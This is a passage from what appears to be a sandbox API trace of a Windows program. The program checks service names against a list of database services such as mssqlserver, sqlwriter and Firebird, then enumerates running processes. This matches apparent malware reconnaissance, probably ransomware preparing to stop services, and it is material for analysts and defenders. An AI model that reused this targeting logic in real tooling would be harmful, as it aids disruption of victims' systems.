returned 1 [0106.118] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0106.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0106.118] lstrlenW (lpString="netprofm") returned 8 [0106.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0106.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0106.119] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0106.119] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0106.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0106.119] lstrlenW (lpString="NlaSvc") returned 6 [0106.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0106.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0106.119] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0106.119] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0106.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0106.119] lstrlenW (lpString="nsi") returned 3 [0106.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0106.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0106.119] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0106.119] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0106.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0106.119] lstrlenW (lpString="PcaSvc") returned 6 [0106.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0106.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0106.119] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0106.119] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0106.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0106.119] lstrlenW (lpString="PlugPlay") returned 8 [0106.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0106.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0106.119] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0106.119] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0106.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0106.120] lstrlenW (lpString="Power") returned 5 [0106.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0106.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0106.120] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0106.120] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0106.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0106.120] lstrlenW (lpString="ProfSvc") returned 7 [0106.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0106.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0106.120] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0106.120] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0106.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0106.120] lstrlenW (lpString="RpcEptMapper") returned 12 [0106.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0106.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0106.120] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0106.120] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0106.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0106.120] lstrlenW (lpString="RpcSs") returned 5 [0106.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0106.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0106.120] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0106.120] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0106.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0106.120] lstrlenW (lpString="SamSs") returned 5 [0106.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0106.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0106.120] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0106.120] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0106.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0106.121] lstrlenW (lpString="Schedule") returned 8 [0106.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0106.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0106.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0106.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0106.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0106.121] lstrlenW (lpString="SecurityHealthService") returned 21 [0106.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0106.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0106.121] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0106.121] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0106.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0106.121] lstrlenW (lpString="SENS") returned 4 [0106.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0106.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0106.121] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0106.121] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0106.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0106.121] lstrlenW (lpString="ShellHWDetection") returned 16 [0106.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0106.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0106.121] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0106.121] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0106.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0106.121] lstrlenW (lpString="Spooler") returned 7 [0106.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0106.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0106.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0106.122] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0106.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0106.122] lstrlenW (lpString="sppsvc") returned 6 [0106.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0106.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0106.122] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0106.122] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0106.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0106.122] lstrlenW (lpString="SSDPSRV") returned 7 [0106.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0106.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0106.122] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0106.122] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0106.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61c998 | out: hHeap=0x5c0000) returned 1 [0106.122] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x33c [0106.145] Process32FirstW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.145] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0106.146] lstrlenW (lpString="System") returned 6 [0106.146] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0106.147] lstrlenW (lpString="smss.exe") returned 8 [0106.147] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.147] lstrlenW (lpString="csrss.exe") returned 9 [0106.147] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0106.148] lstrlenW (lpString="wininit.exe") returned 11 [0106.148] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.149] lstrlenW (lpString="csrss.exe") returned 9 [0106.149] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0106.149] lstrlenW (lpString="winlogon.exe") returned 12 [0106.150] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0106.150] lstrlenW (lpString="services.exe") returned 12 [0106.150] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0106.151] lstrlenW (lpString="lsass.exe") returned 9 [0106.151] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.152] lstrlenW (lpString="svchost.exe") returned 11 [0106.152] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0106.152] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0106.152] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0106.153] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0106.153] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.154] lstrlenW (lpString="svchost.exe") returned 11 [0106.154] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0106.155] lstrlenW (lpString="dwm.exe") returned 7 [0106.155] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.155] lstrlenW (lpString="svchost.exe") returned 11 [0106.155] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.156] lstrlenW (lpString="svchost.exe") returned 11 [0106.156] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.157] lstrlenW (lpString="svchost.exe") returned 11 [0106.157] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.157] lstrlenW (lpString="svchost.exe") returned 11 [0106.157] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.158] lstrlenW (lpString="svchost.exe") returned 11 [0106.158] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.159] lstrlenW (lpString="svchost.exe") returned 11 [0106.159] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.159] lstrlenW (lpString="svchost.exe") returned 11 [0106.159] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.160] lstrlenW (lpString="svchost.exe") returned 11 [0106.160] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.161] lstrlenW (lpString="svchost.exe") returned 11 [0106.161] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0106.161] lstrlenW (lpString="spoolsv.exe") returned 11 [0106.161] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.162] lstrlenW (lpString="svchost.exe") returned 11 [0106.162] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.163] lstrlenW (lpString="svchost.exe") returned 11 [0106.163] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0106.164] lstrlenW (lpString="audiodg.exe") returned 11 [0106.164] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0106.165] lstrlenW (lpString="sihost.exe") returned 10 [0106.165] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.165] lstrlenW (lpString="svchost.exe") returned 11 [0106.166] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0106.166] lstrlenW (lpString="taskhostw.exe") returned 13 [0106.166] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0106.167] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0106.167] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0106.168] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0106.168] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0106.169] lstrlenW (lpString="explorer.exe") returned 12 [0106.169] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0106.170] lstrlenW (lpString="Memory Compression") returned 18 [0106.170] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0106.171] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0106.171] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0106.172] lstrlenW (lpString="SearchUI.exe") returned 12 [0106.172] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0106.173] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0106.173] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0106.174] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0106.174] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0106.174] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0106.174] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0106.175] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0106.175] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.176] lstrlenW (lpString="conhost.exe") returned 11 [0106.176] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0106.176] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0106.176] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0106.177] lstrlenW (lpString="upper arc.exe") returned 13 [0106.177] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0106.178] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0106.178] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0106.178] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0106.178] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0106.179] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0106.179] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0106.180] lstrlenW (lpString="blademcdonald.exe") returned 17 [0106.180] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0106.180] lstrlenW (lpString="courage.exe") returned 11 [0106.181] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0106.181] lstrlenW (lpString="pearl.exe") returned 9 [0106.181] Process32NextW (in: 